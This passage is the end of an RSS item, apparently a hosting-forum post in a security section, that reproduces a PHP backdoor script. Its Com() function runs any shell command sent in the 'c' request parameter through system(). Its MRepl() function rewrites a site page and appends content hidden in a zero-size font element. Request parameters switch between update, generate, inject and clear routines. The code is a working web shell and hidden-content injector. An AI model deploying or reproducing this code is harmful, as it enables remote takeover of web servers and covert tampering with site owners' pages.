&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; fclose($fp);<br />
&nbsp; <br />
&nbsp; $fthis = fopen($thisname, &quot;w+&quot;);<br />
&nbsp; fwrite($fthis, $fin);<br />
&nbsp; fclose($fthis);<br />
}<br />
<br />
function Com()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['c']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @system($_POST['c']);<br />
&nbsp; if (isset($_GET['c']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @system($_GET['c']);<br />
}<br />
<br />
function MRepl()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mpt = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $drs = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $begtag = &quot;&lt;dd4&gt;&lt;font style=\&quot;position: absolute;overflow: hidden;height: 0;width: 0\&quot;&gt;&quot;; <br />
&nbsp; $endtag = &quot;&lt;/font&gt;&lt;/body&gt;&lt;/html&gt;&lt;dd5&gt; &quot;; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrd = trim(file_get_contents(&quot;m&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; $pt = &quot;../$mrd&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fin = file_get_contents($pt);<br />
&nbsp; &nbsp; &nbsp; &nbsp; GetVar(&quot;mpt&quot;, $mpt);<br />
&nbsp; &nbsp; &nbsp; &nbsp;  // удаляем завершающие хтмл теги<br />
&nbsp; $fin = preg_replace (&quot;/&lt;\/body&gt;/i&quot;, &quot;&quot;, $fin);<br />
&nbsp; $fin = preg_replace (&quot;/&lt;\/html&gt;/i&quot;, &quot;&quot;, $fin);<br />
&nbsp; $fin = ereg_replace(&quot;&lt;!--dd4--&gt;(.*)&lt;!--dd5--&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; $fin = ereg_replace(&quot;&lt;dd4&gt;(.*)&lt;dd5&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($mpt, &quot;r&quot;);<br />
&nbsp; $drs = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {&nbsp; <br />
&nbsp; &nbsp; &nbsp;  exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $drs .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; fclose($fp);<br />
&nbsp; $fin = $fin.$begtag;&nbsp; <br />
&nbsp; $fin = $fin.$drs;<br />
&nbsp; $fin = $fin.$endtag; <br />
&nbsp; $fmrd = fopen($pt, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fmrd, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fclose($fmrd);<br />
}<br />
<br />
&nbsp;<br />
<br />
function Main()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['u']) || isset($_GET['u']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Update();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['c']) || isset($_GET['c']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Com();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['g']) || isset($_GET['g']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Gen();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
if (isset($_POST['g1']) || isset($_GET['g1']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GenNew();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['g2']) || isset($_GET['g2']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Gen2();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['s']) || isset($_GET['s']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MRepl();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; if (isset($_POST['cl']) || isset($_GET['cl']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['cl2']) || isset($_GET['cl2']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Clear2();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;ok&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
}<br />
<br />
Main();<br />
<br />
?&gt;</code><hr />
</div></div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>JWeb2</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876121</guid>
		</item>
	</channel>
</rss>
